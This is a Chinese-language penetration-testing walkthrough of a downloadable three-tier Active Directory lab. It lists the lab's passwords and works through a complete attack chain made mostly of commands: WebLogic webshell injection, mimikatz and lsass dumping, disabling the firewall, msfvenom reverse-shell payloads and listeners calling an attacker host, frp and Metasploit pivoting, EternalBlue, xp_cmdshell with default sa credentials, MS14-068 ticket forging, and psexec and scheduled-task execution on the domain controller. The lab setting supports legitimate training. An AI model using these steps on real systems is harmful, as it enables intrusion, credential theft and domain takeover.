一次三层域环境靶场内网渗透
这篇文章的目的在于熟悉各种内网中的利用方法,不局限于某一种方法达成目的。
靶场地址:
链接:https://pan.baidu.com/s/18p_iFMgEhd_v1I9pr3X5cQ?pwd=1212
提取码:1212
--来自百度网盘超级会员V1的分享
靶场环境介绍
域控:Windows Server 2008 + IIS + Exchange 2013 邮件服务 (10.10.10.8) 仅主机
目录还原密码:redteam!@#45
主机名:owa
域管理员:administrator:Admin12345
域内服务器 Mssql:Windows Server 2008 + SQL Server 2008 (被配置了非约束委派) (10.10.10.18) 仅主机
主机名:sqlserver-2008
本地管理员:Administrator:Admin12345
域账户:redteam\sqlserver:Server12345 (被配置了约束委派)
Mssql:sa:sa
域内个人 PC:Windows 7 (10.10.10.7、10.10.20.7) 双网卡,仅主机
主机名:work-7
本地管理员:john:admin!@#45
域账户:redteam\saul:admin!@#45
单机服务器:Windows server r2 + weblogic (NAT:192.168.88.136、仅主机:10.10.20.12) DMZ区
主机名:weblogic
本地管理员:Administrator:Admin12345
weblogic :weblogic:weblogic123(访问 http://ip:7001)
weblogic 安装目录:C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain(手动运行下 startWebLogic.cmd)
前置知识
域环境下常见用户身份
- Domain Admin:域管理员(默认对域控制器有完全控制权)
- Domain Computers:域内机器(就是在域环境内的主机)
- Domain Controllers:域控制器(AD,内网渗透就为了拿下它)
- Domain Users:域用户
主要针对Domain Admins/Enterprise Admins 相关⽤户收集操作命令:
net localgroup #查看本地用户组
net user #查看本地用户
whoami /all ⽤户权限
net config workstation #查看登录信息
net group /domain #获取域用户组信息
net user /domain #查看域用户信息
wmic useraccount get /all #涉及域用户详细信息
net group "Domain Admins" /domain #查询域管理员账户
net group "Enterprise Admins" /domain #查询管理员用户组
net group "Domain Controllers" /domain #查询域控制器
域横向传递扩散
- at&schtasks扩散(通过135、445端口)
- SMB协议扩散 (通过445端口)
- WMI(windows management instrumentation)协议扩散 (通过135端口)
- PTH、PTT、PTK哈希票据传递
- RDP横向
域内提权
- MS14-068
信息收集(外网渗透测试信息收集阶段)
nmap -T4 -p- -Pn -A -v 192.168.88.136
发现开放了7001端口weblogic服务,且为管理后台为默认路径,在端口后加上/console/自动跳转
漏洞探测&漏洞利用
使用GUI漏洞利用工具进行漏洞检测,发现存在漏洞,当前用户为weblogic\administrator
获取当前路径:
echo %cd%
右键F12随便查看一张图片的路径
接下来只要找到该图片所在路径就能间接找出网站根目录:
dir C:\ /s /b | find "login_WebLogic_branding.png"
成功找到图片路径:
C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\login_WebLogic_branding.png
接下来在该目录下上传马子即可:
冰蝎连接
还可以使用WeblogicExploit-GUI by sp4z的工具,支持直接注入冰蝎、蚁剑内存码,且有返回路径的,成功注入内存码上线.
内网横向
拿下了DMZ区域的机器后,除了权限维持和权限提升,对于横向渗透通常分为两个方面
- 判断机器是否为多网卡机器,然后扫描其他网段,尝试发现更多存在漏洞的机器
- 尽量收集机器上的敏感信息,比如敏感内部文件、账号密码本等,帮助后面快速突破防线
由于拿下的机器已经是administrator权限,所以可以直接进行信息收集
信息收集(weblogic服务器)
是否为杀软环境
先查看一下进程里面是否存在杀软,未发现杀毒软件
提供两个杀软检测平台地址:
• https://i.hacking8.com/tiquan
• http://bypass.tidesec.com/bycms
网络信息收集网络信息收集
发现该服务器为双网卡,除了对外的192.168.88.0/24网段外,还有内网10.10.20.0/24网段
判断是否为域环境
常见的判断是否存在域环境的方法有:
- ipconfig /all #根据主DNS后缀判断是否存在域环境
- net view /domain #判断是否存在域,若存在回显域名信息
- net time /domain #判断主域,一般情况下,域内主机时间与域控进行同步
经过验证发现当前服务器并不存在域环境
密码信息收集
因为要进行横向扩散,考虑使用密码喷洒,因此需抓取本地密码,为了方面直接上线cs进行操作,上传cs木马
方法一:抓取hash
注:hash为单向不可逆加密,只能通过彩虹表碰撞,可能无法解密,有点碰运气的成分
获取到hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
尝试将hash进行解密,解密网站:
成功获取当前服务器administrator密码为Admin12345
方法二:利用mimikatz获取明文密码
windows系统密码hash加密算法(LM Hash 和NTLM Hash加密算法)
个人系统在windows vista之后,服务器系统在Windows 2003之后均使用NTLM Hash(大部分情况都是NTLM hash)
NTML hash也能解出密码来,但这种方法好处是在遇到没法解密的情况下可以利用NTML hash进行横向传递
使用mimikatz抓取密码注意事项:
1、windows2012以上版本默认关闭wdigest,导致攻击者无法从内存中获取明文密码
2、windows2012以下版本如果安装了KB2871997补丁,同样会导致无法获取明文密码
解决措施:
利用注册表操作开启Wdigest Auth 值进行获取,修改注册表,打开wdiget
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
cs自带了mimikatz功能,在becon输入
logonpasswords
Procdump+mimikatz结合获取密码
优点:仅上传procdump到受害服务器抓取密码dmp文件,在本机使用mimikatz对dmp文件进行还原。由于该文件是微软自带,不用做免杀(遇到有杀软可以采用)
procdump下载链接:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump -accepteula -ma lsass.exe lsass.dmp #使用procdump导出密码hash文件
mimikatz# privilege::debug
mimikatz# sekurlsa::minidump lsass.dmp #载入dmp
mimikatz# sekurlsa::logonpasswords full #读取密码
登录服务器远程桌面
开启/关闭远程桌面:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 #开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0 #关闭远程桌面
查看当前主机系统防火墙开启或关闭
netsh firewall show config #查看防火墙状态
直接关闭防火墙(容易被发现)
netsh advfirewall set allprofiles state off
放行从本地 3389 端口进来/出去的流量(入站/出站规则)
netsh advfirewall firewall add rule name="rdp" protocol=TCP dir=in localport=3389 action=allow #入站规则
netsh advfirewall firewall add rule name="rdp" protocol=TCP dir=out localport=3389 action=allow #出站规则
启用远程桌面进行连接
rdesktop -u Administrator -p Admin12345 192.168.88.136:3389
fscan内网扫描
上传内网大杀器fscan进行扫描(遇到有杀软需要做免杀)
shell fscan.exe -h 10.10.20.1/24
扫描结果显示存在一台10.10.20.7的win7主机,且存在MS17-010永恒之蓝漏洞
会话传递
这里给出互相转发会话的步骤:
1、将CS会话转发至MSF上
MSF创建监听
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http //这个payload要跟CS设置的一致
payload => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.168.88.130
lhost => 192.168.88.130
msf6 exploit(multi/handler) > set lport 4444 端口需要与cs监听器端口保持一致,因为cs的后门是反弹的4444端口
lport => 4444
msf6 exploit(multi/handler) > run
CS建立一个监听器,CS的监听器分为两种类型:beacon和foreign。
- beacon为CS内置监听器,当我们在目标系统执行payload,会弹回一个beacon的shell给CS
- foreign主要是提供给外部使用的一些监听器,比如想要利用CS派生一个meterpreter的shell,来进行后续的内网渗透,这时就应该使用外部监听器
CS becon中执行spawn
进行转发
2、MSF转发会话至CS
查看当前会话id
sessions -l
CS创建监听器
使用exploit/windows/local/payload_inject模块转发会话
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.88.130 //cs主机地址
set LPORT 6666 //随意设置监听端口,需要和cs保持一致
set session 1 //设置需要派送的meterpreter
set DisablePayloadHandler true //禁止产生一个新的handler
成功接收会话
但是为了shell的稳定性,我这里还是生成了一个msf木马上传进行操作
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.88.130 lport=4444 -f exe -o test.exe
将test.exe通过冰蝎或cs进行上传,执行上线
成功接收会话
内网代理
当到达内网某个网段时,该网段被控机器不直接通外网,我们的攻击机无法直接访问,我们就需要借助内网可出网机器构建多层代理。
内网代理(1)
上传第三方代理工具进行代理,如frp、ngrok、natapp等第三方工具
使用frp进行内网代理
内网frp进行多层代理可以参考这篇文章
frps:
[common]
bind_addr = 0.0.0.0 # 服务端监听地址
bind_port = 7000 # 服务端监听端口,默认7000
frpc:
[common]
server_addr = 192.168.88.130 # 连接的服务器IP地址
server_port = 7000 # 连接的服务器端口
[plugin_socks5]
type = tcp # 连接类型为tcp
local_ip = 10.10.20.12 # 本地ip
local_port = 8888 # 本地监听端口
remote_port = 1080 # 远程服务器端口
use_encryption = true #启⽤加密
plugin = socks5 # 使⽤插件socks5代理
运行方法
服务端启动进行监听
frps.exe -c frps.ini
客户端启动
frpc.exe -c frpc.ini
访问192.168.88.130:1080
端口等同于访问10.10.20.12:8888
内网代理(2)
使用MSF的socks5模块进行代理
添加路由
由于攻击机无法直接访问10.10.20.1/24网段,因此通过weblogic服务器添加路由进行访问。这样相当于在受害主机1上做了条直通路由,使得攻击机可以访问原本访问不了的10.10.20.0/24网段
注:在meterpreter中存在路由即可访问目标网段,但目标网段无法向外访问kali
run get_local_subnets # 查看目标网络中的路由信息
run autoroute -s 10.10.20.0/24 # 往session里面添加目标网段的路由10.10.20.0/24
run autoroute -p # 查看添加的路由,查看session中的路由是否添加成功
将会话在后台挂起
background
使用socks5代理模块进行代理
msf5 exploit(multi/handler) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > exploit
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server
Linux系统连接代理
编辑/etc/proxychains4.conf,添加socks5代理
socks5 192.168.88.130 1080
使用方法:
proxychains4 nmap -T4 -p- 10.10.20.1/24
常见故障:
配合 proxychains4 nmap 扫描对方内网的时候出现:
解决方法:
vim /etc/proxychains4.conf
将proxy_dns注释掉即可
windows系统连接代理
windows建议使用 SocksCap64
或 Proxifier
配置代理/代理链
使用Proxifier配置代理服务器,代理端口
默认所有程序都走代理,可以通过配置代理规则,让指定的程序走代理
利用MS17-010横向win7主机
使用ms17-010漏洞检测模块进一步验证是否存在漏洞,以及网络是否能访问到目标主机
msf6 exploit(multi/handler) > search ms17-010
msf6 exploit(multi/handler) > use 3 //ms17-010漏洞检测模块
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.10.20.7
rhosts => 10.10.20.7
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
利用ms17-010攻击模块进行攻击
msf6 exploit(multi/handler) > search ms17-010
msf6 exploit(multi/handler) > use 0 #ms17-010漏洞利用模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.20.7
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 5555(4444端口已经使用了,注意不要冲突)
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
关于这里为什么要使用正向的payload。
-
假如我们使用的是反向的payload,那么win7就要去寻找我们kali的路由,但是win7主机中没有kali的路由,那么就会导致我们的反弹shell失败。
-
我们使用一个正向的payload,我们的kali攻击机就会去主动寻找win7的服务器,这个时候我们因为在session1(weblogic会话)上做了一条路由,因为session1中是存在20网段中的路由的,我们的流量会通过session1上的路由连接至win7,所以我们可以正常进行连接。
成功获取10.10.20.7 win7主机会话
当前用户权限为系统权限
至此,通过ms17-010成功拿下win7主机
信息收集(域内win7)
继续进行信息收集
shell #进行cmd
chcp 65001 #改编码
ipconfig /all
发现当前主机为域内主机
域名为:redteam.red
获取域控IP
ping redteam.red
nslookup redteam.red
获得域控IP: 10.10.10.8
双网卡:网卡1:10.10.20.7(已知信息),网卡2:10.10.10.7(新的网段)
继续添加路由
run get_local_subnets # 查看目标网络中的路由信息
run autoroute -s 10.10.10.0/24 # 往session里面添加目标网段的路由10.10.20.0/24
run autoroute -p # 查看添加的路由,查看session中的路由是否添加成功
查看当前域用户信息
net user /domain
查看域管理员账户和域控制器
net group "Domain Admins" /domain
net group "Domain Controllers" /domain
可知域管理员账户为:Administrator,域控制器Host Name=owa.redteam.red
抓取本地密码
load kiwi #加载mimikatz
creds_all: #列举所有凭据
获得域成员账号:saul 密码:admin!@#45
上传fscan继续横向扩撒
fscan.exe -np -h 10.10.10.1/24 #-np = no ping
发现存在主机10.10.10.18,且sqlserver 数据库账户密码为sa:sa
通过代理进行连接
使用xp_cmdshell进行提权
#启用xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
#调用xp_cmdshell执行系统权限
EXEC master..xp_cmdshell 'whoami';
至此,又成功拿下sqlserver服务器系统权限
信息收集(sqlserver)
EXEC master..xp_cmdshell 'ipconfig /all';
上传正向木马(方法不唯一)
...
...
略
发现当前服务器为域内主机,开启3389进行远程连接
netsh advfirewall firewall add rule name="rdp" protocol=TCP dir=in localport=3389 action=allow #开启3389端口
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 #开启远程桌面
ms14-068漏洞提权域控
域内普通用户直接获取域控system权限,漏洞利用条件:
- 域控没有打MS14-068的补丁(KB3011780)
- 拿下一台域内计算机
- 拥有这台域内计算机的域用户密码和Sid
漏洞原理:
Kerberos 域用户提权漏洞(MS14-068,CVE-2014-6324),所有 Windows 服务器都会受到该漏洞影响。包括 Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 和 Windows Server 2012 R2。
如果攻击者获取了域内一台计算机的 shell 权限,同时知道该域用户的用户名、SID、密码,如果存在该漏洞即可获取域管理员权限。
在kerberos 协议中 ——> Kerberos 认证,Client去访问Server,需要知道是否具有访问权限。所以微软在KRB_AS_REP中的TGT中增加了Client的PAC(特权属性证书),也就是Client的权限,包括Client的User的SID、Group的SID。ms14-068 漏洞就是 经过身份验证的Client在TGT中伪造高权限的PAC。该漏洞允许任何一个域普通用户,将自己提升至域管理员权限。微软给出的补丁号kb3011780。
漏洞中主要的问题是存在于KDC会根据客户端指定PAC中数字签名的加密算法,以及PAC的加密算法,来校验PAC的合法性。这使得攻击者可通过伪造PAC,修改PAC中的SID,导致KDC判断攻击者为高权限用户,从而导致权限提升漏洞的产生。
利用方法:
1、上传mimikatz,运行抓取账户密码和sid,一条命令运行如下
meterpreter#upload /home/mimikatz.exe C:\\mimikatz.exe #上传mimikatz.exe到域内主机
meterpreter#upload /home/ms14-068.exe C:\\ms14-068.exe #上传ms14-068.exe到域内主机
shell #进入cmd
.\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
.\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit >1.txt
systeminfo #查看有无打补丁
whoami /user #查看当前用户SID
2、利用ms14-068.exe 工具生成伪造的kerberos协议认证证书
ms-14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户sid -d 域控ip/IP
ms-14-068.exe -u sqlserver@redteam.red -p Server12345 -s S-1-5-21-13590078990-1682372173-163803504-1126 -d 10.10.10.8
会在当前目录下生成证书:TGT_sqlserver@redteam.red.ccache
3、使用mimikatz导入生成的ccache文件,导入之前cmd下使用命令klist purge或者在mimikatz中使用kerberos::purge删除当前缓存的kerberos票据。
kerberos::purge
kerberos::ptc 证书名字
4、上传使用PsExec.exe以管理员权限运行连接域控
psexec64.exe \\域控ip cmd.exe -accepteula
psexec64.exe \\10.10.10.8 cmd.exe -accepteula
5、复制木马文件到域控
copy shell.exe \\owa.redteam.red\c$
6、利用计划任务进行上线
使用at命令添加计划任务(at命令适用于操作系统 < windows 2012)
at \\owa.redteam.red\c$ 22:10 c:\\shell.exe #设置22:10执行shell.exe
使用schtask添加计划任务(schtask命令适用于操作系统 >= Winidows 2012)
schtasks /create /s 192.168.xx.xx /ru "SYSTEM" /tn adduser /sc DALLY /tr c:attack.bat /F #创建adduser任务对应执行的文件
schtasks /run /s 192.168.xx.xx /tn adduser /i #运行adduser任务
schtasks /delete /s 192.168.xx.xx /tn adduser /f #删除adduser任务
至此,成功拿下域控